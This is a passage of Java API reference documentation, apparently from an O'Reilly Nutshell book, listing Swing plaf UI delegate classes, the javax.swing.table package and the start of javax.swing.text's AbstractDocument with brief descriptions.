TabbedPaneUI Java 1.2
javax.swing.plaf

This abstract class defines the methods that must be implemented by a pluggable look-and-feel delegate for JTabbedPane.

public abstract class TabbedPaneUI extends ComponentUI {
// | Public Constructors
 | public TabbedPaneUI ();
// | Public Instance Methods
 | public abstract java.awt.Rectangle getTabBounds (JTabbedPane pane, int index);
 | public abstract int getTabRunCount (JTabbedPane pane);
 | public abstract int tabForCoordinate (JTabbedPane pane, int x, int y);
}

Passed To: JTabbedPane.setUI()

Returned By: JTabbedPane.getUI()

TableHeaderUI Java 1.2
javax.swing.plaf

This abstract class defines the methods that must be implemented by a pluggable look-and-feel delegate for JTableHeader.

public abstract class TableHeaderUI extends ComponentUI {
// | Public Constructors
 | public TableHeaderUI ();
}

Passed To: javax.swing.table.JTableHeader.setUI()

Returned By: javax.swing.table.JTableHeader.getUI()

TableUI Java 1.2
javax.swing.plaf

This abstract class defines the methods that must be implemented by a pluggable look-and-feel delegate for JTable.

public abstract class TableUI extends ComponentUI {
// | Public Constructors
 | public TableUI ();
}

Passed To: JTable.setUI()

Returned By: JTable.getUI()

TextUI Java 1.2
javax.swing.plaf

This abstract class defines the methods that must be implemented by a pluggable look-and-feel delegate for JTextComponent.

public abstract class TextUI extends ComponentUI {
// | Public Constructors
 | public TextUI ();
// | Public Instance Methods
 | public abstract void damageRange (javax.swing.text.JTextComponent t, int p0, int p1);
 | public abstract void damageRange (javax.swing.text.JTextComponent t, int p0, int p1, javax.swing.text.Position.Bias firstBias, javax.swing.text.Position.Bias secondBias);
 | public abstract javax.swing.text.EditorKit getEditorKit (javax.swing.text.JTextComponent t);
 | public abstract int getNextVisualPositionFrom (javax.swing.text.JTextComponent t, int pos, javax.swing.text.Position.Bias b, int direction, javax.swing.text.Position.Bias[ ] biasRet) throws javax.swing.text.BadLocationException;
 | public abstract javax.swing.text.View getRootView (javax.swing.text.JTextComponent t);
 | public abstract java.awt.Rectangle modelToView (javax.swing.text.JTextComponent t, int pos) throws javax.swing.text.BadLocationException;
 | public abstract java.awt.Rectangle modelToView (javax.swing.text.JTextComponent t, int pos, javax.swing.text.Position.Bias bias) throws javax.swing.text.BadLocationException;
 | public abstract int viewToModel (javax.swing.text.JTextComponent t, java.awt.Point pt);
 | public abstract int viewToModel (javax.swing.text.JTextComponent t, java.awt.Point pt, javax.swing.text.Position.Bias[ ] biasReturn);
}

Passed To: javax.swing.text.JTextComponent.setUI()

Returned By: javax.swing.text.JTextComponent.getUI()

ToolBarUI Java 1.2
javax.swing.plaf

This abstract class defines the methods that must be implemented by a pluggable look-and-feel delegate for JToolBar.

public abstract class ToolBarUI extends ComponentUI {
// | Public Constructors
 | public ToolBarUI ();
}

Passed To: JToolBar.setUI()

Returned By: JToolBar.getUI()

ToolTipUI Java 1.2
javax.swing.plaf

This abstract class defines the methods that must be implemented by a pluggable look-and-feel delegate for JToolTip.

public abstract class ToolTipUI extends ComponentUI {
// | Public Constructors
 | public ToolTipUI ();
}

Returned By: JToolTip.getUI()

TreeUI Java 1.2
javax.swing.plaf

This abstract class defines the methods that must be implemented by a pluggable look-and-feel delegate for JTree.

public abstract class TreeUI extends ComponentUI {
// | Public Constructors
 | public TreeUI ();
// | Public Instance Methods
 | public abstract void cancelEditing (JTree tree);
 | public abstract javax.swing.tree.TreePath getClosestPathForLocation (JTree tree, int x, int y);
 | public abstract javax.swing.tree.TreePath getEditingPath (JTree tree);
 | public abstract java.awt.Rectangle getPathBounds (JTree tree, javax.swing.tree.TreePath path);
 | public abstract javax.swing.tree.TreePath getPathForRow (JTree tree, int row);
 | public abstract int getRowCount (JTree tree);
 | public abstract int getRowForPath (JTree tree, javax.swing.tree.TreePath path);
 | public abstract boolean isEditing (JTree tree);
 | public abstract void startEditingAtPath (JTree tree, javax.swing.tree.TreePath path);
 | public abstract boolean stopEditing (JTree tree);
}

Passed To: JTree.setUI()

Returned By: JTree.getUI()

UIResource Java 1.2
javax.swing.plaf

This marker interface defines no methods; it is used to distinguish user-interface property values specified by a UI delegate from property values specified explicitly by an application. Only programmers writing custom look-and-feels or custom UI delegate objects need to use this interface. Application-level code never uses it.

Any component properties set by the installUI() method of a UI delegate object should be set to objects that implement the UIResource interface. This allows the uninstallUI() method to determine which properties were explicitly set by the application and leave these properties unchanged.

The requirement for property values that implement UIResource means that the javax.swing.plaf package contains a number of trivial wrapper classes that extend common resource types such as java.awt.Color, java.awt.Font, and so on. These wrapper classes add no new functionality but exist simply to implement UIResource.

public abstract interface UIResource {
}

Implementations: DefaultListCellRenderer.UIResource, JScrollPane.ScrollBar, ScrollPaneLayout.UIResource, BorderUIResource, BorderUIResource.BevelBorderUIResource, BorderUIResource.CompoundBorderUIResource, BorderUIResource.EmptyBorderUIResource, BorderUIResource.EtchedBorderUIResource, BorderUIResource.LineBorderUIResource, BorderUIResource.MatteBorderUIResource, BorderUIResource.TitledBorderUIResource, ColorUIResource, DimensionUIResource, FontUIResource, IconUIResource, InsetsUIResource, javax.swing.table.DefaultTableCellRenderer.UIResource

ViewportUI Java 1.2
javax.swing.plaf

This abstract class defines the methods that must be implemented by a pluggable look-and-feel delegate for JViewport.

public abstract class ViewportUI extends ComponentUI {
// | Public Constructors
 | public ViewportUI ();
}
Previous | Home | Next
27.1. The javax.swing.filechooser Package | Book Index | 29. The javax.swing.table Package
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The javax.swing.table Package (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

Chapter 29. The javax.swing.table Package

The javax.swing.table package contains classes and interfaces that are used with the powerful JTable component of the javax.swing package. TableModel is the central interface in this package; it provides access to the data to be displayed in the table. TableColumn represents the attributes of a column in the table. TableColumnModel represents a set of columns in the table. JTableHeader is a component that displays the resizable and draggable column headers of a table. The TableCellRenderer interface defines how individual cells are drawn using a GUI component as a template. Figure 29-1 shows the class hierarchy of this package. See Chapter 3, "Swing Programming Topics", for a discussion of and example using JTable and the javax.swing.table package.

Figure 29-1. The javax.swing.table package

AbstractTableModel | Java 1.2
javax.swing.table | serializable model

This abstract class is a convenient partial implementation of the TableModel interface. An application that needs a noneditable TableModel needs only to provide implementations for the abstract methods getColumnCount(), getRowCount(), and getValueAt(). An application that wants to allow the table data to be edited must additionally override the default implementations of isCellEditable() and setValueAt(). AbstractTableModel provides default implementations of the event listener registration methods. Additionally, it defines a number of methods for sending various types of TableModelEvent objects to the registered TableModelListener objects. This is useful because of the fairly complex way that TableModelEvent is used to describe different types of changes to the table data. If the data underlying the table model ever changes, the application can call one of these methods to notify the JTable, and any other interested listeners, of the change.

public abstract class AbstractTableModel implements Serializable, TableModel {
// | Public Constructors
 | public AbstractTableModel (); |
// | Event Registration Methods (by event name)
 | public void addTableModelListener (javax.swing.event.TableModelListener l); | Implements:TableModel
 | public void removeTableModelListener (javax.swing.event.TableModelListener l); | Implements:TableModel
// | Public Instance Methods
 | public int findColumn (String columnName); |
 | public void fireTableCellUpdated (int row, int column); |
 | public void fireTableChanged (javax.swing.event.TableModelEvent e); |
 | public void fireTableDataChanged (); |
 | public void fireTableRowsDeleted (int firstRow, int lastRow); |
 | public void fireTableRowsInserted (int firstRow, int lastRow); |
 | public void fireTableRowsUpdated (int firstRow, int lastRow); |
 | public void fireTableStructureChanged (); |
// | Methods Implementing TableModel
 | public void addTableModelListener (javax.swing.event.TableModelListener l); |
 | public Class getColumnClass (int columnIndex); |
 | public abstract int getColumnCount (); |
 | public String getColumnName (int column); |
 | public abstract int getRowCount (); |
 | public abstract Object getValueAt (int rowIndex, int columnIndex); |
 | public boolean isCellEditable (int rowIndex, int columnIndex); | constant
 | public void removeTableModelListener (javax.swing.event.TableModelListener l); |
 | public void setValueAt (Object aValue, int rowIndex, int columnIndex); | empty
// | Protected Instance Fields
 | protected javax.swing.event.EventListenerList listenerList ; |
}

Hierarchy: Object-->AbstractTableModel(Serializable,TableModel)

Subclasses: DefaultTableModel

DefaultTableCellRenderer | Java 1.2
javax.swing.table | serializable accessible swing component

This class is a simple implementation of the TableCellRenderer interface. It uses a JLabel to display the textual value (determined by calling the toString() method) of any object. DefaultTableCellRenderer takes care to use the colors and fonts of the JTable, so that it interfaces seamlessly with the table.

public class DefaultTableCellRenderer extends JLabel implements Serializable, TableCellRenderer {
// | Public Constructors
 | public DefaultTableCellRenderer ();
// | Inner Classes
 | ;
// | Methods Implementing TableCellRenderer
 | public Component getTableCellRendererComponent (JTable table, Object value, boolean isSelected, boolean hasFocus, int row, int column);
// | Public Methods Overriding JLabel
 | public void updateUI ();
// | Public Methods Overriding JComponent
 | public void setBackground (java.awt.Color c);
 | public void setForeground (java.awt.Color c);
// | Protected Instance Methods
 | protected void setValue (Object value);
// | Protected Class Fields
 | protected static javax.swing.border.Border noFocusBorder ;
}

Hierarchy: Object-->Component(java.awt.image.ImageObserver,java.awt.MenuContainer,Serializable)-->Container-->JComponent(Serializable)-->JLabel(Accessible,SwingConstants)-->DefaultTableCellRenderer(Serializable,TableCellRenderer)

Subclasses: DefaultTableCellRenderer.UIResource

DefaultTableCellRenderer.UIResource | Java 1.2
javax.swing.table | serializable accessible swing component

This class is a trivial subclass of DefaultTableCellRenderer that exists only to implement the javax.swing.plaf.UIResource marker interface.

public static class DefaultTableCellRenderer.UIResource extends DefaultTableCellRenderer implements javax.swing.plaf.UIResource {
// | Public Constructors
 | public UIResource ();
}
DefaultTableColumnModel | Java 1.2
javax.swing.table | serializable model

This class implements the TableColumnModel and keeps track of the number, order, size, and selection state of the columns in a JTable component. The JTable uses this class by default; few applications have any reason to use anything else.

public class DefaultTableColumnModel implements javax.swing.event.ListSelectionListener, java.beans.PropertyChangeListener, Serializable, TableColumnModel {
// | Public Constructors
 | public DefaultTableColumnModel (); |
// | Methods Implementing ListSelectionListener
 | public void valueChanged (javax.swing.event.ListSelectionEvent e); |
// | Methods Implementing PropertyChangeListener
 | public void propertyChange (java.beans.PropertyChangeEvent evt); |
// | Methods Implementing TableColumnModel
 | public void addColumn (TableColumn aColumn); |
 | public void addColumnModelListener (javax.swing.event.TableColumnModelListener x); |
 | public TableColumn getColumn (int columnIndex); |
 | public int getColumnCount (); | default:0
 | public int getColumnIndex (Object identifier); |
 | public int getColumnIndexAtX (int xPosition); |
 | public int getColumnMargin (); | default:1
 | public java.util.Enumeration getColumns (); |
 | public boolean getColumnSelectionAllowed (); | default:false
 | public int getSelectedColumnCount (); | default:0
 | public int[ ] getSelectedColumns (); |
 | public ListSelectionModel getSelectionModel (); | default:DefaultListSelectionModel
 | public int getTotalColumnWidth (); | default:0
 | public void moveColumn (int columnIndex, int newIndex); |
 | public void removeColumn (TableColumn column); |
 | public void removeColumnModelListener (javax.swing.event.TableColumnModelListener x); |
 | public void setColumnMargin (int newMargin); |
 | public void setColumnSelectionAllowed (boolean flag); |
 | public void setSelectionModel (ListSelectionModel newModel); |
// | Protected Instance Methods
 | protected ListSelectionModel createSelectionModel (); |
 | protected void fireColumnAdded (javax.swing.event.TableColumnModelEvent e); |
 | protected void fireColumnMarginChanged (); |
 | protected void fireColumnMoved (javax.swing.event.TableColumnModelEvent e); |
 | protected void fireColumnRemoved (javax.swing.event.TableColumnModelEvent e); |
 | protected void fireColumnSelectionChanged (javax.swing.event.ListSelectionEvent e); |
 | protected void recalcWidthCache (); |
// | Protected Instance Fields
 | protected transient javax.swing.event.ChangeEvent changeEvent ; |
 | protected int columnMargin ; |
 | protected boolean columnSelectionAllowed ; |
 | protected javax.swing.event.EventListenerList listenerList ; |
 | protected ListSelectionModel selectionModel ; |
 | protected java.util.Vector tableColumns ; |
 | protected int totalColumnWidth ; |
}

Hierarchy: Object-->DefaultTableColumnModel(javax.swing.event.ListSelectionListener(java.util.EventListener),java.beans.PropertyChangeListener(java.util.EventListener),Serializable,TableColumnModel)

DefaultTableModel | Java 1.2
javax.swing.table | serializable model

This class is a relatively simple implementation of TableModel that works with table data that is expressed either as an array of rows, where each row is an array of objects, or as a vector of rows, where each row is a vector of objects. In addition to the table cell data, DefaultTableModel also allows you to specify the column header values in an array or vector. DefaultTableModel is the only concrete TableModel implementation in Swing. Several of the JTable constructors initialize and use a DefaultTableModel object as the component's model. In addition to its TableModel methods, DefaultTableModel also defines methods for changing the table data, adding and removing columns, and so on.

public class DefaultTableModel extends AbstractTableModel implements Serializable {
// | Public Constructors
 | public DefaultTableModel (); |
 | public DefaultTableModel (Object[ ] columnNames, int numRows); |
 | public DefaultTableModel (java.util.Vector data, java.util.Vector columnNames); |
 | public DefaultTableModel (Object[ ][ ] data, Object[ ] columnNames); |
 | public DefaultTableModel (int numRows, int numColumns); |
 | public DefaultTableModel (java.util.Vector columnNames, int numRows); |
// | Protected Class Methods
 | protected static java.util.Vector convertToVector (Object[ ][ ] anArray); |
 | protected static java.util.Vector convertToVector (Object[ ] anArray); |
// | Property Accessor Methods (by property name)
 | public int getColumnCount (); | Overrides:AbstractTableModel default:0
 | public java.util.Vector getDataVector (); |
 | public int getRowCount (); | Overrides:AbstractTableModel default:0
// | Public Instance Methods
 | public void addColumn (Object columnName); |
 | public void addColumn (Object columnName, java.util.Vector columnData); |
 | public void addColumn (Object columnName, Object[ ] columnData); |
 | public void addRow (Object[ ] rowData); |
 | public void addRow (java.util.Vector rowData); |
 | public void insertRow (int row, Object[ ] rowData); |
 | public void insertRow (int row, java.util.Vector rowData); |
 | public void moveRow (int startIndex, int endIndex, int toIndex); |
 | public void newDataAvailable (javax.swing.event.TableModelEvent event); |
 | public void newRowsAdded (javax.swing.event.TableModelEvent event); |
 | public void removeRow (int row); |
 | public void rowsRemoved (javax.swing.event.TableModelEvent event); |
 | public void setColumnIdentifiers (Object[ ] newIdentifiers); |
 | public void setColumnIdentifiers (java.util.Vector newIdentifiers); |
 | public void setDataVector (Object[ ][ ] newData, Object[ ] columnNames); |
 | public void setDataVector (java.util.Vector newData, java.util.Vector columnNames); |
 | public void setNumRows (int newSize); |
// | Public Methods Overriding AbstractTableModel
 | public String getColumnName (int column); |
 | public Object getValueAt (int row, int column); |
 | public boolean isCellEditable (int row, int column); | constant
 | public void setValueAt (Object aValue, int row, int column); |
// | Protected Instance Fields
 | protected java.util.Vector columnIdentifiers ; |
 | protected java.util.Vector dataVector ; |
}

Hierarchy: Object-->AbstractTableModel(Serializable,TableModel)-->DefaultTableModel(Serializable)

JTableHeader | Java 1.2
javax.swing.table | serializable accessible swing component

This class is a Swing component that displays the header of a JTable. This header component displays the name of each column and, optionally, allows the user to resize and reorder the columns by dragging them. JTableHeader uses the TableColumnModel of its JTable to obtain information about the column headers it must display.

A JTable component automatically creates a suitable JTableHeader component; an application should not have to create one of its own. Nevertheless, JTableHeader does define some interesting methods that applications may want to use. Obtain the JTableHeader of a JTable with the getTableHeader() method of JTable. Once you have the JTableHeader object, use its resizingAllowed and reorderingAllowed properties to specify how the user is allowed to manipulate the columns. Also, set the updateTableInRealTime property to specify if the entire JTable should be updated as the user drags a column or if the update should be postponed until the user completes the drag.

public class JTableHeader extends JComponent implements Accessible, javax.swing.event.TableColumnModelListener {
// | Public Constructors
 | public JTableHeader (); |
 | public JTableHeader (TableColumnModel cm); |
// | Inner Classes
 | ; |
// | Property Accessor Methods (by property name)
 | public AccessibleContext getAccessibleContext (); | Implements:Accessible default:AccessibleJTableHeader
 | public TableColumnModel getColumnModel (); | default:DefaultTableColumnModel
 | public void setColumnModel (TableColumnModel newModel); |
 | public TableColumn getDraggedColumn (); | default:null
 | public void setDraggedColumn (TableColumn aColumn); |
 | public int getDraggedDistance (); | default:0
 | public void setDraggedDistance (int distance); |
 | public boolean getReorderingAllowed (); | default:true
 | public void setReorderingAllowed (boolean b); |
 | public boolean getResizingAllowed (); | default:true
 | public void setResizingAllowed (boolean b); |
 | public TableColumn getResizingColumn (); | default:null
 | public void setResizingColumn (TableColumn aColumn); |
 | public JTable getTable (); | default:null
 | public void setTable (JTable aTable); |
 | public javax.swing.plaf.TableHeaderUI getUI (); |
 | public void setUI (javax.swing.plaf.TableHeaderUI ui); |
 | public String getUIClassID (); | Overrides:JComponent default:"TableHeaderUI"
 | public boolean getUpdateTableInRealTime (); | default:true
 | public void setUpdateTableInRealTime (boolean flag); |
// | Public Instance Methods
 | public int columnAtPoint (java.awt.Point point); |
 | public java.awt.Rectangle getHeaderRect (int columnIndex); |
 | public void resizeAndRepaint (); |
// | Methods Implementing Accessible
 | public AccessibleContext getAccessibleContext (); | default:AccessibleJTableHeader
// | Methods Implementing TableColumnModelListener
 | public void columnAdded (javax.swing.event.TableColumnModelEvent e); |
 | public void columnMarginChanged (javax.swing.event.ChangeEvent e); |
 | public void columnMoved (javax.swing.event.TableColumnModelEvent e); |
 | public void columnRemoved (javax.swing.event.TableColumnModelEvent e); |
 | public void columnSelectionChanged (javax.swing.event.ListSelectionEvent e); | empty
// | Public Methods Overriding JComponent
 | public String getToolTipText (java.awt.event.MouseEvent event); |
 | public void updateUI (); |
// | Protected Methods Overriding JComponent
 | protected String paramString (); |
// | Protected Instance Methods
 | protected TableColumnModel createDefaultColumnModel (); |
 | protected void initializeLocalVars (); |
// | Protected Instance Fields
 | protected TableColumnModel columnModel ; |
 | protected transient TableColumn draggedColumn ; |
 | protected transient int draggedDistance ; |
 | protected boolean reorderingAllowed ; |
 | protected boolean resizingAllowed ; |
 | protected transient TableColumn resizingColumn ; |
 | protected JTable table ; |
 | protected boolean updateTableInRealTime ; |
}

Hierarchy: Object-->Component(java.awt.image.ImageObserver,java.awt.MenuContainer,Serializable)-->Container-->JComponent(Serializable)-->JTableHeader(Accessible,javax.swing.event.TableColumnModelListener(java.util.EventListener))

Passed To: JTable.setTableHeader(), JTableHeader.AccessibleJTableHeader.AccessibleJTableHeaderEntry.AccessibleJTableHeaderEntry()

Returned By: JTable.{createDefaultTableHeader(), getTableHeader()}

Type Of: JTable.tableHeader

TableCellEditor Java 1.2
javax.swing.table

This interface extends CellEditor and adds an additional method that must be implemented by classes that want to serve as editors for table cells displayed by a JTable. Most applications can rely on the default set of table-cell-editing capabilities of javax. swing.DefaultCellEditor and do not have to implement this interface. If you do need to implement this interface, see javax.swing.CellEditor and javax.swing.tree.TreeCellEditor for further details.

public abstract interface TableCellEditor extends CellEditor {
// | Public Instance Methods
 | public abstract Component getTableCellEditorComponent (JTable table, Object value, boolean isSelected, int row, int column);
}

Hierarchy: (TableCellEditor(CellEditor))

Implementations: DefaultCellEditor

Passed To: JTable.{prepareEditor(), setCellEditor(), setDefaultEditor()}, TableColumn.{setCellEditor(), TableColumn()}

Returned By: JTable.{getCellEditor(), getDefaultEditor()}, TableColumn.getCellEditor()

Type Of: JTable.cellEditor, TableColumn.cellEditor

TableCellRenderer Java 1.2
javax.swing.table

This interface defines the method that must be implemented by any class wishing to display data within a JTable component. getTableCellRendererComponent() is passed the value that appears in a specified table cell; it must return a Component object capable of displaying that value in some fashion. Other arguments to the method specify whether the cell is selected and whether it has the keyboard focus. A renderer should take these factors into account when deciding how to display the value. The JTable is responsible for positioning the returned Component properly and causing it to draw itself. The TableCellRenderer simply has to configure the appearance and content of the component before returning it. Most applications can rely on the DefaultTableCellRenderer class to display a textual representation of any object and do not have to implement this interface themselves.

public abstract interface TableCellRenderer {
// | Public Instance Methods
 | public abstract Component getTableCellRendererComponent (JTable table, Object value, boolean isSelected, boolean hasFocus, int row, int column);
}

Implementations: DefaultTableCellRenderer

Passed To: JTable.{prepareRenderer(), setDefaultRenderer()}, TableColumn.{setCellRenderer(), setHeaderRenderer(), TableColumn()}

Returned By: JTable.{getCellRenderer(), getDefaultRenderer()}, TableColumn.{createDefaultHeaderRenderer(), getCellRenderer(), getHeaderRenderer()}

Type Of: TableColumn.{cellRenderer, headerRenderer}

TableColumn | Java 1.2
javax.swing.table | serializable

This class contains information about a single column displayed within a JTable. The JTable component creates TableColumn objects automatically, and applications rarely need to create their own. To obtain the TableColumn objects automatically created by a JTable, first obtain the TableColumnModel of the table and then use its methods to query the individual columns.

TableColumn exposes a number of useful properties. width, preferredWidth, minWidth, and maxWidth specify the current, preferred, minimum, and maximum sizes for the column. The resizable property specifies whether the user is allowed to resize the column. The identifier property allows you to attach a name to a column, which can sometimes be useful when working with columns that may be reordered. The identifier is never displayed. On the other hand, the headerValue property specifies the object (usually a String) that is displayed in the column header. The headerValue is displayed by the TableCellRenderer specified with the headerRenderer property. Do not confuse the headerRenderer with the cellRenderer and cellEditor properties. If these properties are not null, they specify a custom renderer object and a custom editor object to be used for the cells in this column. Finally, the modelIndex property specifies the column number to be used when extracting data for this column from the TableModel. Since JTable allows its columns to be rearranged by the user, there are two different coordinate systems for referring to columns. The first is the index of the TableColumn object within the TableColumnModel. This is the visual order of columns as displayed by the JTable. The other coordinate system is the more fundamental index of the column data within the underlying TableModel. The modelIndex property uses the latter coordinate system and specifies where to obtain data for the column.

public class TableColumn implements Serializable {
// | Public Constructors
 | public TableColumn (); |
 | public TableColumn (int modelIndex); |
 | public TableColumn (int modelIndex, int width); |
 | public TableColumn (int modelIndex, int width, TableCellRenderer cellRenderer, TableCellEditor cellEditor); |
// | Public Constants
 | public static final String CELL_RENDERER_PROPERTY ; | ="cellRenderer"
 | public static final String COLUMN_WIDTH_PROPERTY ; | ="columWidth"
 | public static final String HEADER_RENDERER_PROPERTY ; | ="headerRenderer"
 | public static final String HEADER_VALUE_PROPERTY ; | ="headerValue"
// | Event Registration Methods (by event name)
 | public void addPropertyChangeListener (java.beans.PropertyChangeListener listener); | synchronized
 | public void removePropertyChangeListener (java.beans.PropertyChangeListener listener); | synchronized
// | Property Accessor Methods (by property name)
 | public TableCellEditor getCellEditor (); | default:null
 | public void setCellEditor (TableCellEditor anEditor); |
 | public TableCellRenderer getCellRenderer (); | default:null
 | public void setCellRenderer (TableCellRenderer aRenderer); |
 | public TableCellRenderer getHeaderRenderer (); |
 | public void setHeaderRenderer (TableCellRenderer aRenderer); |
 | public Object getHeaderValue (); | default:null
 | public void setHeaderValue (Object aValue); |
 | public Object getIdentifier (); | default:null
 | public void setIdentifier (Object anIdentifier); |
 | public int getMaxWidth (); | default:2147483647
 | public void setMaxWidth (int maxWidth); |
 | public int getMinWidth (); | default:15
 | public void setMinWidth (int minWidth); |
 | public int getModelIndex (); | default:0
 | public void setModelIndex (int anIndex); |
 | public int getPreferredWidth (); | default:75
 | public void setPreferredWidth (int preferredWidth); |
 | public boolean getResizable (); | default:true
 | public void setResizable (boolean flag); |
 | public int getWidth (); | default:75
 | public void setWidth (int width); |
// | Public Instance Methods
 | public void disableResizedPosting (); |
 | public void enableResizedPosting (); |
 | public void sizeWidthToFit (); |
// | Protected Instance Methods
 | protected TableCellRenderer createDefaultHeaderRenderer (); |
// | Protected Instance Fields
 | protected TableCellEditor cellEditor ; |
 | protected TableCellRenderer cellRenderer ; |
 | protected TableCellRenderer headerRenderer ; |
 | protected Object headerValue ; |
 | protected Object identifier ; |
 | protected boolean isResizable ; |
 | protected int maxWidth ; |
 | protected int minWidth ; |
 | protected int modelIndex ; |
 | protected transient int resizedPostingDisableCount ; |
 | protected int width ; |
}

Hierarchy: Object-->TableColumn(Serializable)

Passed To: JTable.{addColumn(), removeColumn()}, DefaultTableColumnModel.{addColumn(), removeColumn()}, JTableHeader.{setDraggedColumn(), setResizingColumn()}, TableColumnModel.{addColumn(), removeColumn()}

Returned By: JTable.getColumn(), DefaultTableColumnModel.getColumn(), JTableHeader.{getDraggedColumn(), getResizingColumn()}, TableColumnModel.getColumn()

Type Of: JTableHeader.{draggedColumn, resizingColumn}

TableColumnModel | Java 1.2
javax.swing.table | model

A JTable component uses a TableColumnModel object to keep track of the columns it displays, the order they are in, and their selection state. In essence, a TableColumnModel maintains a list of TableColumn objects and remembers which are selected. Most applications rely on the DefaultTableColumnModel implementation and rarely need to implement this interface themselves.

public abstract interface TableColumnModel {
// | Property Accessor Methods (by property name)
 | public abstract int getColumnCount ();
 | public abstract int getColumnMargin ();
 | public abstract void setColumnMargin (int newMargin);
 | public abstract java.util.Enumeration getColumns ();
 | public abstract boolean getColumnSelectionAllowed ();
 | public abstract void setColumnSelectionAllowed (boolean flag);
 | public abstract int getSelectedColumnCount ();
 | public abstract int[ ] getSelectedColumns ();
 | public abstract ListSelectionModel getSelectionModel ();
 | public abstract void setSelectionModel (ListSelectionModel newModel);
 | public abstract int getTotalColumnWidth ();
// | Public Instance Methods
 | public abstract void addColumn (TableColumn aColumn);
 | public abstract void addColumnModelListener (javax.swing.event.TableColumnModelListener x);
 | public abstract TableColumn getColumn (int columnIndex);
 | public abstract int getColumnIndex (Object columnIdentifier);
 | public abstract int getColumnIndexAtX (int xPosition);
 | public abstract void moveColumn (int columnIndex, int newIndex);
 | public abstract void removeColumn (TableColumn column);
 | public abstract void removeColumnModelListener (javax.swing.event.TableColumnModelListener x);
}

Implementations: DefaultTableColumnModel

Passed To: JTable.{JTable(), setColumnModel()}, javax.swing.event.TableColumnModelEvent.TableColumnModelEvent(), JTableHeader.{JTableHeader(), setColumnModel()}

Returned By: JTable.{createDefaultColumnModel(), getColumnModel()}, JTableHeader.{createDefaultColumnModel(), getColumnModel()}

Type Of: JTable.columnModel, JTableHeader.columnModel

TableModel | Java 1.2
javax.swing.table | model

This interface is the intermediary between a JTable component and the data it displays. Every JTable uses a TableModel to encapsulate its data. getColumnCount() and getRowCount() return the size of the table. getColumnName() returns the header text for a given column number. getColumnClass() returns the Class object for a numbered column. (If you want to display different types of objects in a column, this method should return values of type Object.) The most important method of the interface, however, is getValueAt(), which, given a column number and a row number, returns the cell value. The JTable class can be configured to allow the user to reorder columns by dragging them. Note that this visual reordering does not change the underlying column numbers used to access data from the TableModel.

If you are allowing users to edit data in your TableModel, you must also provide meaningful implementations of isCellEditable() and setValueAt(). If the model can be edited or if the data it contains can otherwise change (e.g., if rows are added), you must also implement addTableModelListener() and removeTableModelListener() and send a TableModelEvent when the contents of the table change.

Applications with simple table display needs can rely on the DefaultTableModel. Because tabular data can come from an wide variety of sources, in a wide variety of formats, however, many applications need a custom TableModel implementation. Most applications find it easer to subclass AbstractTableModel than to implement TableModel from scratch.

public abstract interface TableModel {
// | Event Registration Methods (by event name)
 | public abstract void addTableModelListener (javax.swing.event.TableModelListener l);
 | public abstract void removeTableModelListener (javax.swing.event.TableModelListener l);
// | Public Instance Methods
 | public abstract Class getColumnClass (int columnIndex);
 | public abstract int getColumnCount ();
 | public abstract String getColumnName (int columnIndex);
 | public abstract int getRowCount ();
 | public abstract Object getValueAt (int rowIndex, int columnIndex);
 | public abstract boolean isCellEditable (int rowIndex, int columnIndex);
 | public abstract void setValueAt (Object aValue, int rowIndex, int columnIndex);
}

Implementations: AbstractTableModel

Passed To: JTable.{JTable(), setModel()}, javax.swing.event.TableModelEvent.TableModelEvent()

Returned By: JTable.{createDefaultDataModel(), getModel()}

Type Of: JTable.dataModel

Previous | Home | Next
28.1. The javax.swing.plaf Package | Book Index | 30. The javax.swing.text Package
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The javax.swing.text Package (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

Chapter 30. The javax.swing.text Package

This large and complex package contains the powerful JTextComponent text editor and all of its supporting infrastructure. The JTextField, JTextArea, JEditorPane, and other text input components of the javax.swing package all subclass JTextComponent and rely on the other classes and interfaces of this package.

The Document interface defines the data model for the JTextComponent. It is the basic abstraction for documents that can be displayed and edited. The AbstractDocument class implements this interface and provides a number of useful features and extensions. StyledDocument extends Document to define support for documents that have styles associated with their content. DefaultStyledDocument is a concrete implementation based on AbstractDocument. Other important classes and interfaces in this package include: EditorKit, Element, View, AbstractDocument.Content, Caret, and Highlighter. Figure 30-1 shows the class hierarchy of this package.

Figure 30-1. The javax.swing.text package

AbstractDocument | Java 1.2
javax.swing.text | serializable

This class is a partial, abstract implementation of the Document interface, which also defines several important inner classes and interfaces. Typical applications do not have to use or subclass this class. Instead, they can rely on predefined concrete implementations such as PlainDocument, DefaultStyledDocument, and javax.swing.text.html.HTMLDocument.

public abstract class AbstractDocument implements Document, Serializable {
// | Protected Constructors
 | protected AbstractDocument (AbstractDocument.Content data); |
 | protected AbstractDocument (AbstractDocument.Content data, AbstractDocument.AttributeContext context); |
// | Public Constants
 | public static final String BidiElementName ; | ="bidi level"
 | public static final String ContentElementName ; | ="content"
 | public static final String ElementNameAttribute ; | ="$ename"
 | public static final String ParagraphElementName ; | ="paragraph"
 | public static final String SectionElementName ; | ="section"
// | Protected Constants
 | protected static final String BAD_LOCATION ; | ="document location failure"
// | Inner Classes
 | ; |
 | ; |
 | ; |
 | ; |
 | ; |
 | ; |
 | ; |
// | Event Registration Methods (by event name)
 | public void addDocumentListener (javax.swing.event.DocumentListener listener); | Implements:Document
 | public void removeDocumentListener (javax.swing.event.DocumentListener listener); | Implements:Document
 | public void addUndoableEditListener (javax.swing.event.UndoableEditListener listener); | Implements:Document
 | public void removeUndoableEditListener (javax.swing.event.UndoableEditListener listener); | Implements:Document
// | Public Instance Methods
 | public void dump (java.io.PrintStream out); |
 | public int getAsynchronousLoadPriority (); |
 | public javax.swing.text.Element getBidiRootElement (); |
 | public java.util.Dictionary getDocumentProperties (); |
 | public abstract javax.swing.text.Element getParagraphElement (int pos); |
 | public final void readLock (); | synchronized
 | public final void readUnlock (); | synchronized
 | public void setAsynchronousLoadPriority (int p); |
 | public void setDocumentProperties (java.util.Dictionary x); |
// | Methods Implementing Document
 | public void addDocumentListener (javax.swing.event.DocumentListener listener); |
 | public void addUndoableEditListener (javax.swing.event.UndoableEditListener listener); |
 | public Position createPosition (int offs) throws BadLocationException; | synchronized
 | public abstract javax.swing.text.Element getDefaultRootElement (); |
 | public final Position getEndPosition (); |
 | public int getLength (); |
 | public final Object getProperty (Object key); |
 | public javax.swing.text.Element[ ] getRootElements (); |
 | public final Position getStartPosition (); |
